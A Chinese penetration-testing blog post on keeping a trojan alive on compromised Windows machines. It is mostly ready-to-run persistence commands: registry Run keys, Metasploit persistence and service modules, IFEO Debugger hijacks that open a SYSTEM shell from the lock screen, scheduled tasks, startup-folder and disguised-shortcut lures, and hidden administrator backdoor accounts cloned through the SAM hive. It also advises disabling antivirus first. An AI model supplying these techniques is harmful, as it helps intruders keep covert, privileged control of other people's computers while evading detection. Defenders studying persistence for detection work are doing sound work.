权限维持(什么是后门?如何留后门?)-Windows篇 (゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 注册表
    • 自启类
      • 添加方法
      • 说明
    • msf使用注册表维持
    • 手动触发类
      • 使用方法
      • 常用劫持软件
      • 其他触发方法
      • 其他劫持方法
    • Msf自动劫持
  • 计划任务(schtasks)
    • 命令行使用计划任务
  • Windows服务
    • msf添加服务
  • 启动目录
  • 其他思路
    • 快捷方式
    • 添加用户
  • msf其他技巧

权限维持的核心目的是让我们的木马病毒持续在线,不会因为系统重启,用户注销或者其他特殊原因下线。在Windows系统中我们可以利用注册表,计划任务,或者留下一个我们自己创建的账户来实现的重启后攻击载荷自动上线的目的。

注册表

启动方式:

  1. Windows键+R: regedit
  2. Windows键+S: 注册表

下述五个注册表根文件从Windows最初的注册表一直继承到Windows11从未改变,我们一般只会用到其中两个配置文件。

  • HKEY_LOCAL_MACHINE:所有用户的配置文件
  • HKEY_CURRENT_USER:当前登录用户的配置文件
  • HKEY_USERS:包含所有加载的用户配置文件
  • HKEY_CLASSES_ROOT:包含所有已注册的文件类型、OLE等信息
  • HKEY_CURRENT_CONFIG:启动时系统硬件配置文件
    在这里插入图片描述

自启类

  1. 永久开机自启:
    当前用户: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run(第二个地址中默认不携带Run文件夹,需要手动添加)
    所有用户: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run(同上)
  2. 单次开机自启:
    当前用户:
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    所有用户:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

添加方法

  1. 可视化添加
    1. 首先启动注册表,并且进入到上述位置中(按需要任意一个即可)
    2. 新建字符串值
    3. 将数值数据改为自启程序绝对路径即可
      在这里插入图片描述
  2. 命令行添加,常用命令:
    1. 查询注册表信息: reg query 路径 [/v 名称]
      如: reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    2. 添加注册表: reg add /v 名称 /t 类型 /d 路径
      reg add HKLM\software\microsoft\windows\currentversion\run /v 测试 /t REG_SZ /d “C:\Users\xun_m\Desktop\网安测试\开机自启信息监测.exe”(ps: 不存在的路径会自动创建,HKLM==HKEY_LOCAL_MACHINE, 添加命令需要使用管理员权限的命令行! 新建字符串值得类型就是REG_SZ)
    3. 删除注册表: reg delete 路径 [/v 名称]
      reg delete HKLM\software\microsoft\windows\currentversion\run /v 测试
    4. 更多用法: REG /?

说明

  1. 开机自启的软件默认的执行目录是C:\Windows\System32
    我写了个Python脚步用来测试开机用户和当前权限状态的,开机自启生成的文件会出现在C:\Windows\System32中!
import ctypes
import getpass
import os
import datetime
import sys


def 管理员权限检测():
    try:
        if ctypes.windll.shell32.IsUserAnAdmin():
            return True
        else:
            return False
    except:
        return False


if not 管理员权限检测():
    # 尝试获取管理员权限
    用户管理控制UAC = ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    if 用户管理控制UAC == 42:
        用户管理控制UAC = '已获取用户管理控制UAC'
    elif 用户管理控制UAC == 5:
        用户管理控制UAC = '!!!未获取用户管理控制UAC'
    else:
        用户管理控制UAC = '未知状况'
else:
    用户管理控制UAC = '使用管理员启动!'

格式化运行时间 = datetime.datetime.now().strftime('%m月%d日%H时%M分%S秒') + '.txt'

with open(格式化运行时间, 'a') as 写文件:

    写入内容 = f'写入时间: {datetime.datetime.now()}\n' + f'当前用户 (模式一:){getpass.getuser()}(模式二:){os.environ["USERNAME"]}\n{用户管理控制UAC} '
    写文件.write(写入内容)
    print(写入内容)


input('输入任意按键退出')

  1. 在较新的系统中,RunRunOnce分别是永久自启和一次自启,RunOnce中的自启项会在首次执行后自行删除。而网上很多博客中又指出,在Windows7以及之前的老系统中,RunRunOnce分别代表的是异步启动和同步启动,同步启动的注册表会按照顺序一个一个启动,假设中间有一个启动项内部出现了死循环这样的情况,会导致系统无法启动!
  2. 添加到Run中的注册表自启项,会被系统监控和报告,但添加到RunOnce则不会!(当前测试系统为Windows11,不确定其他系统也会这样!)
    在这里插入图片描述

msf使用注册表维持

PS: msf这个模块不需要管理员权限即可运行!
早期msf版本中,我们进入目标meterpreter中,输入run persistence即可,不过在新版msf中,已经不推荐此类方法,并且随时准备弃用此方法
在这里插入图片描述
当前(msf6)exploit/windows/local/persistence模块作为上述模块的替代品,使用方法也很简单,
在这里插入图片描述

  1. 进入模块
  2. 选择需要权限维持(session)的meterpreter,需要的话在给注册表起一个名字(REG_NAME)
  3. 运行
use exploit/windows/local/persistence
set session 2
set REG_NAME xunmi
run

这时候目标主机的注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xunmi中就会被我们添加一个自启项。
PS:如果重启无法维持权限,可以尝试更换存放目录,当前默认目录为%TEMP%: C:\Users\用户名\AppData\Local\Temp。如果我们有system权限,可以尝试放入C:\\Windows\\System32文件夹中

set vbs_name xun_mi.vbs
set PATH C:\\Windows\\System32
run

``
在这里插入图片描述

手动触发类

开机自启属于自动触发,但也容易被用户发现和察觉,并且我们可能并非需要后门一直运行。这时候就需要用到系统辅助工具,比如说屏幕键盘,放大镜,屏幕阅读器这类IFEO(Image File Execution Options)的应用,其中有部分存在于Windows白名单中,可以直接使用最高权限运行。我们主要是通过debugger参数进行偷梁换柱。

使用方法

这里我使用Excel表格进行原理演示

  1. 打开注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options路径
  2. 在目标程序中添加已Debugger命名的字符串值,值就是我们需要劫持启动的程序!
  3. PS: 这里必须已Debugger命名,非此命名无法使用!!!请添加图片描述

常用劫持软件

PS: 杀毒软件会自动拦截这类修改!使用此方法前务必保证已关闭杀毒软件!

  1. 辅助工具管理器(utilman.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  2. 讲述人(narrator.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f(Windows11将讲述人改为了开关按钮,算是已经失效了!)
  3. 放大镜(magnify.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  4. 屏幕键盘(osk.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  5. 粘滞键(sethc.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

下图演示为劫持辅助工具管理器
在这里插入图片描述
在这里插入图片描述
优点:
6. 可以在任意界面执行,甚至可以在锁屏界面使用最高权限(system)执行!
7. 方便使用,只需要一行命令即可部署
缺陷:
8. 容易被杀毒软件拦截

其他触发方法

除了上述启动劫持的触发方法外,我们还可以使用关闭触发,指定监控某个进程,在其关闭时候触发使用,这里我还是拿粘滞键做演示
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
在进程退出时静默触发(SilentProcessExit):
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe"
在这里插入图片描述

其他劫持方法

覆盖原文件执行劫持.下面我会用粘滞键来演示!
PS:这种方法不建议使用,因为其中有一些不可逆的步骤!这里记得将要覆盖的文件做一个副本备份一下,以免出现问题!
如果你想直接改个名字就进行覆盖,则会出现如下所示问题,就算你是管理员也无法直接移动,因为这个文件夹默认情况下只有TrustInstall用户拥有所有权限
在这里插入图片描述
解决上面的问题也很简单,只需要我们把权限给到自己即可,首先我们打开System32文件夹的属性,在安全中找到下面的高级按钮,更改所有者,这里我们把所有者改成当前登录的用户即可!
在这里插入图片描述
做完上述操作,我们还是在属性的安全中,将Users用户组的权限编辑为完全控制即可。
在这里插入图片描述
优点: 不容易被杀毒软件发现
缺陷: 会产生不可逆的改变, 无法调用管理员权限(在锁屏界面虽然是使用system身份运行,但并非使用管理员权限运行)

Msf自动劫持

use post/windows/manage/sticky_keys

PS: 这里同样支持多种劫持,默认的粘滞键劫持,不过这种方法需要我们使用管理员权限的用户才能正常执行!!不过MSF的劫持也容易被杀软拦截。
在这里插入图片描述

计划任务(schtasks)

计划任务在命令行中输入schtasks或者使用Windows键+S搜索任务计划程序即可

命令行使用计划任务

schtasks命令详解: https://lanlan2017.github.io/blog/b1b65659/
这里我会介绍一些比较常用的命令,如果有其他需求,可以根据查看详细命令文档!
首先,添加(/create)和删除(/delete)使我们最常用的命令,其中删除命令较为简单,格式为: schtasks /delete /tn 计划任务名
而添加命令相对复杂的多,比如这里我创建一个定时任务(schtasks /create)每间隔一(/mo 1)分钟(/sc MINUTE)启动一下1.exe程序(/tr C:\Users\xun_m\Desktop\网安测试\1.exe)并且命名为测试(/tn 测试),schtasks /create /sc MINUTE /mo 1 /tr C:\Users\xun_m\Desktop\网安测试\1.exe /tn 测试
其中/sc的类型比较多,分为:
/sc: MINUTE(分钟)HOURLY(小时)DAILY(每日)WEEKLY(每周)MONTHLY(每月)ONCE(一次)ONSTART(启动)ONLOGON(登录)ONIDLE(结束)ONEVENT(暂不知道什么用。)
这里我们可以使用ONLOGON参数来达到开机自启的效果schtasks /create /sc ONLOGON /tr C:\Users\xun_m\Desktop\网安测试\开机自启信息监测.exe /tn 自动启动测试
ONLOGON是在登录用户后触发,ONSTART是在系统启动时触发但因为只有拥有system权限的程序才能在用户注销时正常使用,所以如果我们使用了ONSTART来实现开机自启,很可能会碰到无法正常启动的情况!
在这里插入图片描述

Windows服务

在这里插入图片描述
sc命令详解: https://blog.csdn.net/qq_42428264/article/details/106052166
这里我们一般只需要知道添加服务即可,命令也比较简洁,添加服务命令sc create [服务名] binPath= 启动路径
比如sc create 自启测试 binPath= C:\Users\xun_m\Desktop\网安测试\1.exe

msf添加服务

同样在msf6之后推荐使用一下模块,老版本的run metsvc -h随时都可能被弃用,并且不再维护,建议使用下述方法。

use exploit/windows/local/persistence
或
use exploit/multi/handler
set payload windows/metsvc_bind_tcp

这里和之前添加注册表自启的程序是比较相似的,也是需要我们设置sessions,不过西安么我们可以选择一个启动类型(STARTUP)可以直接以最高权限(system)启动攻击载荷
在这里插入图片描述
不过很不幸当前Windows11杀软关闭后重启又会被自动开启,所以很容易被Windows11的杀软给干掉了…不过我测试的老系统,必然Windows7就还是可以的。
在这里插入图片描述

启动目录

Windows系统下存在特殊的启动目录,重启时会自动执行其中所有程序。
针对指定用户: C:\Users\{用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
针对所有用户: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
放在其中的应用并不会现在启动项中(下图中的浏览器是我修改了图标的cmd快捷方式)
在这里插入图片描述

其他思路

除了上述外,还有一些方法,虽然不能实现自动化的开机自启,但也可以作为权限维持的方法!

快捷方式

我们可以修改快捷方式的形式来引诱目标启动我们的木马程序,我们知道快捷方式(.lnk)格式是已一种链接的方式启动目标软件,这里我们只需要将命名和图标伪装成用户常用软件即可,系统应用大多数图标都在%SystemRoot%\System32\SHELL32.dll中,如果需要其他图标也可以自行添加
在这里插入图片描述

添加用户

首先为了降低被用户发现的可能,我们尽量都适用一些特殊的方法来添加新用户

  1. 添加隐藏用户
    用户名结尾处带$字符的用户会被系统自动当成隐藏账户,这种账户在登录时候不会显示,不过可以在账户管理的时候看见
    可以使用命令行添加比如: net user 账户名$ 密码 /add && net localgroup administrators 账户名$ /add
    隐藏用户主要是隐藏了命令行(net user)中查询看见的!
    在这里插入图片描述

  2. 激活访客(Guest)用户
    net user guest 密码 && net localgroup administrators guest /add && net user guest /active:yes(给访客用户添加密码,并将其添加进入管理员组,将访客改为活跃用户!)
    PS: 不过因为上述方法在较新的Windows中都已经失效了(Windows10,11屏蔽了访客用户,激活后还是无法使用,并且隐藏用户还是会和常规用户一样显示出来)

  3. 添加后门账户

    1. 先添加一个隐藏用户net user defaultuser0$ pass /add /y && net localgroup administrators defaultuser0$ /add
    2. 替换隐藏用户的注册表,不过我们先要将SAM(HKEY_LOCAL_MACHINE\SAM\SAM)文件夹中的完全控制权限给管理员用户组(Administrator)然后重新打开注册表编辑器
      在这里插入图片描述
    3. 然后进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users就可以看到当前电脑所有的用户,当前用户名中有个二进制值,对应上述存储的数据
      在这里插入图片描述
    4. 这里我们将我们的隐藏用户和其对应的值都导出,在选择一个管理员用户的值也进行导出
      在这里插入图片描述
    5. 将管理员的"F"值替换到隐藏用户中!
      在这里插入图片描述
      然后我们在将隐藏用户导入即可regedit /s 隐藏用户值regedit /s 隐藏用户名(点击导入也行),这样的用户不仅不会显示在管理账户中,并且和我们赋值的管理员会有很多相似的地方,会共用一个登陆桌面!
      在这里插入图片描述
      不过需要注意的是:这个用户无法使用命令行直接删除,需要在注册表里手动删除,这个隐藏用户因为使用了赋值管理员的桌面,所以两人不能同时在线!

PS: 使用net localgroup "remote desktop users" 用户名 /add可以将其添加进入到远程桌面用户组中。(一般管理员组的用户默认都能进行远程连接)

msf其他技巧

这里我们可以使用msf的handle模块自动执行权限维持模块
exploit/multi/handler

# 自动执行持续化脚本(注册表)
set AutoRunScript persistence -r IP地址 -p 端口 -U -X -i 30
# 自动执行持续化脚本(服务)
set AutoRunScript metsvc -A
# 启动
run
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

权限维持(什么是后门?如何留后门?)-Windows篇 (゚益゚メ) 渗透测试 的相关文章

  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行
  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span
  • GPS数据类型(ROS)

    文章目录 一 传感器分类二 作用三 系统组成四 位置表示五 数据格式六 ROS中GPS数据格式sensor msgs NavSatFixROS中GPS数据主要包含这四类 xff0c 分别是gps 裸数据ros封装 xff0c 位置 xff0
  • cmake使用教程

    CMakeLists txt文档编写以及packsge xml文档介绍 CMakeLists txt文档一 cmake minimum required命令二 CMake中的编译类型三 cmake编译选项 xff08 与2对应 xff09
  • 四旋翼无人机飞控系统设计(闭环控制系统)

    对于一个简单的飞控程序来说 xff0c 控制器是它最核心的部分 xff0c 这里主要与大家讨论控制系统的基本理论知识 xff08 自控大佬请绕道 xff09 xff0c 包括控制系统概念 闭环控制系统的原理 下篇将侧重包含pid控制算法的具
  • 针对frame_id和child_frame_id的理解

    ros基础必看之各个frame的理解 ROS坐标系统 xff0c 常见的坐标系和其含义 ROS中TF 坐标系转换 原理与使用
  • IMU预积分学习

    IMU预积分学习 一 IMU状态传递方程 一 IMU状态传递方程 几种不同的表达形式 xff1a 1 lio mapping xff1a 参考大佬 xff1a lio mapping 及 VINS Mono代码及理论推导 xff08 2 x
  • Python3 内置模块 - os

    方法名说明os access判断文件权限os chdir改变当前工作目录os chmod file 修改文件权限os execvp 启动一个新进程os execvp 执行外部程序脚本 xff08 Uinx xff09 os fork 获取父
  • AttributeError: module 'tornado.web' has no attribute 'asynchronous'解决方法

    AttributeError module tornado web has no attribute 39 asynchronous 解决方法 今天看tornado异步时发现的错误 xff0c 查了一下 xff0c 原来tornado6以后
  • 【STM32项目】- 人体检测(体温、心率、心跳、跌倒检测)

    STM32人体检测 xff08 体温 心率 心跳 跌倒检测 xff09 43 zigbee 笔者前言 在闲鱼有缘结识的一个哥们 xff0c 帮助做的基于STM32人体检测系统 xff0c 我负责硬件程序开发设计 xff0c 哥们负责客户端服
  • ESP32 之 esp32-cam wifi拍照传图系统1

    文章目录 ESP32 之 esp32 cam wifi拍照传图系统1 效果演示2 材料准备3 原理图接线4 下载代码 ESP32 之 esp32 cam wifi拍照传图系统 1 效果演示 2 材料准备 ESP32 camUSB转TTL按钮
  • ESP32 之 esp32-cam wifi拍照传图系统2

    ESP32 之 esp32 cam wifi拍照传图系统 补充说明 ESP32 CAM总结 一 ESP32初识 ESP32 CAM模组的核心芯片 xff1a ESP32 S 模块是一款超小体积的多功能通用型 802 11b g n WiFi

随机推荐